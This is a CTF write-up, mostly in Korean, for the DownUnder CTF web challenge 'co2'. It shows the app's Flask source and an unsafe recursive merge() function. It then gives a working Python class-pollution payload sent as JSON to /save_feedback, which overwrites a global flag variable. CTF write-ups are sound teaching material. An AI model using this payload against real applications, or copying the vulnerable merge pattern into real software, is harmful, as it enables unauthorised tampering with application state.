DUCTF | co2 write-up
Downunder CTF web
문제 분석
A group of students who don’t like to do things the “conventional” way decided to come up with a CyberSecurity Blog post.
You’ve been hired to perform an in-depth whitebox test on their web application.
처음 접속 시 Bad Gateway만 출력되는 것을 확인하였습니다. 문제에서 제공되는 소스 코드를 통해 Flag가 나오는 조건을 확인하였습니다.
flag = os.getenv("flag")
@app.route("/get_flag")
@login_required
def get_flag():
if flag == "true":
return "DUCTF{NOT_THE_REAL_FLAG}"
else:
return "Nope"
@app.route('/login', methods=['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect("/dashboard")
user = User.query.filter_by(username=request.form.get("username")).first()
if user and check_password_hash(user.password, request.form.get("password")):
login_user(user)
return redirect("/")
return render_template("login.html")
로그인 이후 os.getenv OS의 환경변수 flag를 True로 변경하여 /get_flag에 접속하면 Flag를 Return 하는 것을 볼 수 있습니다.
@app.route('/register', methods=['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect("/dashboard")
if request.method == "POST":
hashed_password = generate_password_hash(request.form.get("password"), method='pbkdf2:sha256')
new_user = User(username=request.form.get("username"), password=hashed_password)
db.session.add(new_user)
db.session.commit()
return redirect("/login")
return render_template("register.html")
로그인을 위한 Register를 사용하는데 비밀번호는 SHA256으로 암호화되며 DB에 저장되는 것을 확인할 수 있습니다.
@app.route("/dashboard")
def dashboard():
posts = BlogPost.query.filter_by(author=current_user.id).all()
return render_template("dashboard.html", posts=posts)
@app.route("/blog/<blog_id>")
def blog(blog_id):
post = BlogPost.query.filter_by(id=int(blog_id)).first()
if not post:
flash("Blog post does not exist!")
return redirect("/")
return render_template("blog.html", post=post)
로그인 이후 Dashboard를 게시물을 작성할 수 있는 기능을 볼 수 있습니다. 작성한 게시물은 수정이 가능하며 Home과 Dashboard를 통해 확인이 가능합니다.
@app.route("/feedback")
@login_required
def feedback():
return render_template("feedback.html")
@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
data = json.loads(request.data)
feedback = Feedback()
# Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
merge(data, feedback)
save_feedback_to_disk(feedback)
return jsonify({"success": "true"}), 200
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
Feedback 기능을 통해 게시물에 대한 피드백을 수정할 수 있다. 해당 피드백을 저장하기 위해서 merge 함수를 사용하게 되는데 이 함수는 python의 class pollution를 유발하는 함수로 os.getEnv('flag')의 값을 직접적으로 변경할 수 있게 된다.
따라서, 로그인 이후 대시보드를 통한 게시물 작성 이후 피드백을 통해 flag의 값을 merge를 통해 true로 변경하여 /get_flag에 접근하면 해결이 된다.
각 TextArea에 값을 넣고 Feedback 전송 시 {"title":"1234","content":"1234","rating":"1","referred":""} 이와 같이 Json 형태로 넘어가는 것을 알 수 있다.
파이썬 내부에 선언되어 있는 변수의 값을 변경하기 위해 {"__class__":{"__init__":{"__globals__":{"flag":"true"}}}}로 전송할 경우 정상적으로 처리된 것을 확인할 수 있다.
/get_flag에 접근 시 save_feedback을 통해 flag=True가 되었기에 플래그 추출이 가능하였습니다.
- 참고 : abdulrah33m